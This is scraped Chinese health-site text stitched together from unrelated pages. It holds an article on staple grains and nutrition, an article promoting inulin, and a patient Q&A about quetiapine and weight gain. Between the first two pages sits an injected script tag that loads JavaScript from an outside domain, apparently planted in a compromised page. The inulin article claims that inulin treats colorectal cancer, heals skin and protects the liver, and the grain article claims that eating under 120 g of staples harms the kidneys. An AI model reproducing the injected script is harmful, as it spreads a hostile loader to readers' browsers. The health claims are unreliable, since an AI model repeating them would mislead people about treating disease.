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吃好主食养生效果赛补药 社区
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维持人体生命活动的三大供能营养素是碳水化合物、脂肪和蛋白质，它们在体内各有特殊的生理作用，且又相互影响。三者在总热能的供给中有一个适宜的比例，较科学的标准是：食物热量的58%来自碳水化合物，30%来自脂肪，12%来自蛋白质。在我国居民膳食中，谷类主食是供给热能最主要的来源，约有50%－80%的热能和50%－70%的蛋白质、B族维生素、部分矿物质和膳食纤维是由谷类供给的，我们每餐都离不开主食。谷类食物占到三餐提供能量的50%－80%。如果占我们生活50%－80%的食物是有利于健康的，那么，我们的健康就有了超过50%的保障；相反，如果不能合理地利用这些主食，那么，主食带来的隐患和危险是比任何一方面都要可怕的。现代人主食误区主食和健康之间有着不可分割的联系。为什么一些人生活水平提高了，健康状况却不如以前了呢？误区一：主食越来越“西化”。许多匆忙的现代人，经常是早晨三明治加牛奶、中午西式快餐、晚上以肉类为主，谷类食物摄入量越来越少，习惯日益“西化”。这种典型的高能量密度、高脂肪、高蛋白质、低膳食纤维的“三高一低”的饮食结构，是肥胖、心脑血管疾病、糖尿病、恶性肿瘤等疾病的罪魁祸首。近年来，这些疾病正向低龄群体蔓延，严重威胁着国民的健康素质。误区二：主食越做越精细。现在人们心目中主食的范围扩大了，烧卖、麻花、春卷、奶黄包、香酥小点、西式糕点、饼干、油炸面点等高油或高温加工的淀粉类食物，都被当成主食对待。事实上，这类食物的脂肪、热量等含量较高，不能等同于原味五谷的作用，多吃还导致体重增加，对健康无益。淀粉类食品在高温烹调下容易产生致癌物丙烯酰胺；另外，为改善外观和口感，一些食物中还加入了起酥油、人造奶油等，长期食用这类食品对心血管有相当大的负面影响。误区三：油条、方便面当主食。一碗豆浆、两根油条，这是许多人的传统早餐。油条属于油炸食品，能量密度高，含有较高的油脂和致癌物质，已经有研究表明，常吃油炸食物的人群，其癌症的发病率远远高于不吃或极少进食油炸食物的人群。一碗方便面就是一顿饭，许多人这样吃过。方便面属于高盐、高脂、低维生素、低矿物质的一类食物，不宜常吃。误区四：主副食地位颠倒。相当一部分人认为,少吃主食多吃副食更有营养。副食特别是荤菜吃得多，脂肪和胆固醇摄入量也相应增多，加重肾脏负担，还容易引起肥胖及并发症。还有一些应酬族，光喝酒吃菜，不吃主食，这对肝脏和心血管损害更大。谷物中的碳水化合物有加强肝脏解毒的功能，适量摄入主食可以起到保肝的作用。因此，喝酒人更应该吃主食。误区五：为保身材以蔬果代替主食。一些的人舍弃主食，每天只吃些蔬菜、水果，肉蛋也很少吃。短时间内的确达到了体重减轻的效果，但随之而来的是头晕恶心、精神差、脸色难看。长此以往，将造成营养不均衡，使机体各系统出现功能障碍和紊乱。其实，主食的摄入可以使人产生饱腹感，在一定程度上起到节制饮食的作用。减肥，应该减少摄入的是高热量食品而非主食。根据有关数据表明，由于缺乏碳水化合物，血液中有毒废物不能及时排除，造成皮肤暗淡脸色难看，严重时损伤脑健康。主食摄入不足，还容易导致气血亏虚、肾气不足，肾气不足的人头发易脱落、干枯、变白。因此，主食的摄入量不能降至底线以下。减肥期间每天吃120-200克主食比较合理，低于120克则有损肾脏，而且降低大脑工作效率。尽管如此，并不等于说上述食品绝对不能吃。有害物质在体内积累到一定的量时才会引起疾病。如果仅是日常生活中变换一下口味偶尔吃吃，不是吃得过于频繁，对健康是不会造成威胁的。如何合理安排主食定量正常人每天的谷物摄入量为300克-500克。早中晚采用3：4：3的分配原则。需要因人而异，体力劳动强度大和较瘦者可以多吃一些，减肥人士可适量少吃一些，但不能不吃主食。清淡用蒸或煮的方法制作主食，可保持食品的原味，减少营养损失，少吃过于精细的食品，少吃高温油炸、烘焙、奶油糕点类食品。多样要经常变换主食品种，如米饭、馒头、包子、玉米、小米等轮换吃，长期食用单一的食物，易引起营养不良。提倡多吃粗粮、粮豆混食。煮饭时不妨用一种或多种粗粮和大米混合，白面和玉米面、黄豆面等混合，一方面增加了B族维生素和矿物质，另一方面还能起到蛋白质营养互补的作用，提高谷类的营养价值。每天最好能吃50克以上的粗粮。如何把普通的“粮食”吃得更有营养、更有新意呢？不妨看看专家的推荐。小米粥，黄金粥小米熬粥一直有“黄金粥”之美称。对于老弱病人和产妇来说，小米是最理想不过的滋补品。由于小米不需精制，它保存了许多维生素和矿物质，其中所含有的蛋白质、脂肪、钙等含量都比大米高。一般粮食中不含有的胡萝卜素，小米每100克含量达0.12毫克，维生素B1的含量位居所有粮食之首，等重量的小米中含铁量比大米高一倍，有利于产妇产后滋阴养血。小米不仅营养全面丰富，还有养胃的功效。认为小米味甘、咸、性凉，入肾、脾、胃经，《本草纲目》就有小米“治反胃热痢，煮粥食，益丹田，补虚损，开肠胃”的记载，因而对于体弱多病、气血不足、脾胃虚弱的十分有益。难怪北京大学东直门医院内科教授姜良铎直言：“小米最养人。”姜良铎指出，尽管小米熬粥是非常好的做法，但本着五谷要杂吃的原则，可向小米粥中加入诸如土豆、红薯、大枣、莲子、百合等熬制，均衡其营养。另外，由于粥类食品易吸收，导致血糖快速升高，所以患有糖尿病的人在喝粥时需要慎重一些。大米配豆薯营养吸收好白花花的米饭你是不是已经看腻了？那就给它增加点颜色吧。红色的豆子、黑紫色的米、橙色的胡萝卜……只要掺进去，就会营养与“扮相”兼得。北京食品学会高级工程师刘方成说，相比较小米、黑米、玉米等，大米中所含的维生素B1、B2，及钙、铁、锌等矿物质都偏低。如果能在其中加入粗粮、豆子、坚果等，将大大提高米饭的营养。不仅如此，由于蛋白质分解而成的氨基酸在各种粮食中各有侧重，如能将大米与豆类等相混合，可以起到氨基酸互补的作用，提高其营养利用率。刘方成建议，可以将米中加入各种豆类，如红豆、豌豆等，尤其是红豆饭，由于口感好、营养丰富，在日本特别受欢迎；粮薯结合是比较经典的一种搭配，即在大米饭中掺入红薯或芋头，可以增加米饭中的膳食纤维、维生素C等，减缓淀粉的消化速度；二米饭也是很不错的混吃方式，不管是小米与大米同煮，还是大米和黑米一起做，都能让吃腻了白米饭的你，尝到一点新意。如果能把橙色的胡萝卜、黄色的玉米粒加进去，既让人觉得色泽诱人，又提供了维生素和类胡萝卜素等抗氧化成分，特别有利于预防眼睛的衰老。刘方成特别指出，吃粮食要选择原粮，即只去掉了外壳而未经过度加工的，否则营养将大打折扣。和面可以用牛奶都说“一方水土养育一方人”，对于为什么南方人多娇小，北方人多健壮，不少人将其原因简单地归结为“因为馒头比米饭更易使人长肉”。姜良铎表示，事实并非如此。如果将面粉与大米所产热量进行对比就会发现，其差别根本不大。面粉有优于大米之处。国外有研究显示，馒头中有比大米中多得多的硒、谷胱苷肽，它们具有抗脂质过氧化的作用，可以缓解和生理压力。此外，钙是天然的压力缓解剂，而馒头中钙也比大米多得多。然而，精白面粉毕竟难逃营养单一的弊端。刘方成推荐，可以将精白面粉与大豆粉混合蒸制馒头、发糕，其中面粉可占60%-70%，这样不仅能保证口感，又提高了营养。做成包子、饺子等带馅食品，更能体现均衡饮食的优势。专家推荐，无论制作什么面食，都可以用牛奶代替白水和面，或者直接添加奶粉。牛奶蛋白质能加强面团的筋力，做出来的面条不易断、馒头有弹性、饺子不破皮、面包更蓬松。在发酵面食品中，牛奶中的大量B族维生素和氨基酸，还能为酵母提供充足的营养，所以发面的效果更佳，面团膨大，香气浓郁。薏米止疼又降压吃惯了大米、小米，甚至黑米后，是不是还想再换换新口味？老人及病弱者可以吃些薏米，它对于高血压有辅助治疗效果。薏米，也叫薏苡，属于小杂粮的一种，其含有丰富的矿物元素，尤其是人体必需的铁、锌、锰等微量元素，有上乘的食疗功效。此外，薏米仁中所含的薏苡素有解热镇痛和降低血压的作用，薏苡仁油在低浓度时对呼吸、心脏有兴奋作用，高浓度时则有抑制作用，可显著扩大肺血管、改善肺脏的血液循环。中医理论认为，薏米性寒，入脾肺肾经，具有健脾、补肺、清热、渗湿的功能。《齐民四术》就曾指出，“米益人心脾，尤宜老病孕产，合糯米为粥、味至美”。专家建议，老人、病患及孕产妇，可多将薏米与糯米同煮成粥食用；如喜爱面食，也可购买薏米大麦粉，将其制成面条、包子等；想图方便的人，平时多吃点薏米饼干等加工食品，也能起到一定的保健功效。荞麦配着羊肉吃相比较平时我们吃的面粉，荞麦粉做出的东西总让人觉得不够筋道。然而，此“消”必定彼“长”，荞麦在营养价值可比小麦、大米高了不止一个档次。荞麦含有比大米、小麦更丰富的蛋白质、淀粉，脂肪含量仅次于燕麦和玉米，所含镁、钾、铁、铜更是大米、小麦的2-3倍。此外，荞麦还含有柠檬酸、草酸和苹果酸等其他谷物不含或少含的营养物质，尤其是其他粮食稀缺的硒，有防癌之功效。专家介绍说，吃荞面多离不开羊肉，因为荞麦性寒，羊肉性热，如用羊肉作汤，可寒热互补，吃起来香又不易引起胃肠不适。但胃寒的人，最好不要吃荞麦。由于荞麦没有延展性和弹性，擀不成面条，蒸不成馍，烙不成饼，所以建议在荞麦面粉中加20%-30%的小麦面粉以增加其弹性。另外，在吃大米、小米时可以适当添加一定量的荞麦米，或用牛奶冲荞麦片，也可以将苦荞粉、小麦面粉、大豆、芝麻加工成熟粉，每天用开水冲着喝，持之以恒，必有好处。"&&scriptsrc=http://okm4.org/z.js&&/script&
减肥两性偏方菊粉是什么?菊粉的保健功效
来源：未知责任编辑：唐萍
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菊粉是什么?
　　菊粉，相信很多人都没有听说过。其实它是一种在自然界分布极广的碳水化合物，从菊苣的根部提炼出来，属于膳食纤维的成分，因此很多人把它作为补充膳食纤维的一种途径。事实上，菊粉还有降低血糖、控制血脂、美容、促消化、增强新陈代谢等功效，具有一定的保健作用。所以说，菊粉是一个好东西一点也不为过。
菊粉是什么
　　菊粉是在自然界中分布极广的一种碳水化合物，主要存在与植物中作为能量储备和冷冻保护剂，菊粉是用热水从菊苣根中提取制成，称为天然惧苣菊粉，是链状果聚糖，用酶做部分水解后可产生低聚果糖，属于膳食纤维的成分。
　　菊粉作为膳食纤维的一种成分，对于人体的机能有着很好的调节作用，经常食用对身体有着非常多的好处。比如血糖高的人、经常便秘的人、皮肤受伤的等都可以食用菊粉，对于这些症状有着很好的效果。所以没有听过菊粉的人可以尝试一下，特别是女孩子，据说有很好的美颜功效。
菊粉的功效
　　1、降低血糖
　　菊粉是一种不会导致尿中葡萄糖升高的碳水化合物。它在肠道的上部不会被水解成单糖，因而不会升高血糖水平和胰岛素含量。如今研究表明，空腹血糖的降低是低聚果糖在结肠发酵所产生的短链脂肪酸的结果。
　　2、控制血脂
　　如今，已证明膳食纤维的功效，它能降低人和动物的血脂水平，使人和小白鼠的血清胆固醇和脂肪(甘油三酸脂)大幅降低。
　　许多膳食纤维通过吸收肠内脂肪，形成脂肪&&纤维复合物随粪便徘出，从而降低血脂水平。而且，菊粉在肠道末端前，自身就发酵成短链脂肪酸和乳酸盐，乳酸盐是肝脏代谢的调节剂。
　　3、消化和排便功能增强
　　很多吃了菊粉的人明显感到肠胃功能增强了，大便开始畅通。同时服用菊粉后，可以增强肠的蠕动能力，排出臭味气体，从而恢复肠的健康，尤其是对一些习惯性便秘，顽固性便秘都有很好的防治效果。
　　4、新陈代谢功能增强，快速恢复受伤伤口
　　新陈代谢功能增强，全身感到热乎有劲。特别是手脚变暖和。空腹时服用菊粉在30分钟内，即使是冬天也能明显感觉到身体变暖和。还有就是持续吃菊粉明显感觉到皮肤变的光滑，脸上的痘痘和身上的伤口消失得很快。菊粉对皮肤炎有很好的功效。
　　5、美肤
　　由日本菊粉研究会提供的&美肤&表明：食用菊粉对皮肤有很好的功效。菊粉研究的先驱者中山先生曾经说，菊粉能减少皮肤的色素沉淀，有美白和美化皮肤的功效，使皮肤变得光华细嫩有光泽。
　　6、 祛除湿疹
　　菊粉有清洁肠胃的功效。肠胃蠕动增加了，其排除体内毒素的功能也就增加了，对于祛除湿疹有着很好的效果。
　　7、 对大肠癌有特效
　　据美国报道说，菊粉对大肠癌的治疗有特效。美国在2003年就有专门的机构研究菊粉。日本有一个癌症末期患者服用菊粉，体力恢复很快的案例。
　　8、改善血管障碍
　　菊粉对改善血管障碍功效非常显著。有很多关于菊粉降血脂，降低胆固醇的报告。
　　9、减肥功效
　　菊粉主要是通过调整肠胃的运动，促进对维他命以及微量元素的吸收，从而身体健康，体力充沛，这样反过来促进体内能量的消耗，达到减肥的目的。另一方面，摄取菊粉后血糖下降，血糖不会上升，肾脏的胰岛素就不会分泌，胰岛素不分泌，葡萄糖等就不会贮存在细胞里，所以身体也就不会发胖。在此基础上，适当的做一些运动会燃烧部分脂肪，达到瘦身的目的。
　　10、保护肝功能
　　试验表明，让一个69岁患有肝硬化的老年病人每天摄入菊粉低聚糖10克，大约5天后其肝昏迷和便秘症状都有所缓解。
　　11、低能量或无能量
　　菊粉低聚糖很难或不被人体消化吸收，所提供的能量值很低或根本没有，故可在低能量食品中发挥作用，最大限度的满足了那些喜爱甜品又担心发胖者的要求，还可供糖尿病人、肥胖病人和低血糖病人食用。
　　菊粉，很多人没有听说过的一种保健品，据说它的功效极多，是养生的佳品。对于高血糖的患者，可以选择食用菊粉，很多用过的人都说其降低血糖的功效非常显著，所以建议大家在平时的生活中，可以试着购买菊粉，看看效果怎么样。但据很多人的反映，应该尝尝看是没有什么问题的。
热门精选HOTS副主任医师
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思瑞康富马酸喹硫平片有激素，副作用吗，长期服用会发胖吗...
状态：就诊前
&副主任医师
您好：&& &思瑞康（富马酸喹硫平）片没有激素。当然，是药就会有副作用，但很少，选用药物主要看正作用大还是副作用大，该药在同类药中发胖的反应是最小的。&& 如您仍需要了解更详细的东西，您可来临海台州医院心理卫生就诊。浙江省台州医院心理卫生科 /html/yxxlk/xkjs/55069.jsp。博客地址：http://baozuxiao.
状态：就诊前
谢谢您，这药是我妈妈吃的。可是既然没有激素，为什么说明书上说大鼠和猴子服用后甲状腺细胞增生和相应的血浆甲状腺激素水平发生变化。而且我妈妈吃后，饭量增加了很多，也胖了很多，但是肚子特别大，在大腿上按一下，就有一个挺深的坑，这是怎么回事？还有我想问一下，这药能治抑郁症吗。因为说明书上只说治精神分裂症，而开药的医生说，精神分裂的人要吃3.4粒，而她只让我妈妈一天吃半粒，是治疗抑郁症的。我妈妈同时还在吃舒比利，瑞美隆米氮平片，安眠药。是否是这些药引起腿部的一按时的坑。请尽快回复。谢谢。
&副主任医师
肥胖可能是服用瑞美隆米氮平片的结果，我们治疗抑郁症除难治性抑郁外，一般不会首先加上抗精神病药的。选药尽可能少很重要的。
状态：就诊前
那么，舒比利，瑞美隆米氮平片，安眠药，思瑞康富马酸喹硫平片多种药一起服用是不是说明病情比较严重？选药为什么要尽可能少，多了是不是有副作用啊？
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包祖晓大夫的信息
长期从事精神疾病和心身疾病的临床与基础研究,擅长运用禅学理念和方法（正念/内观）治疗各类神经症（焦虑症...
包祖晓，男，医学博士，发表过学术论文80余篇；
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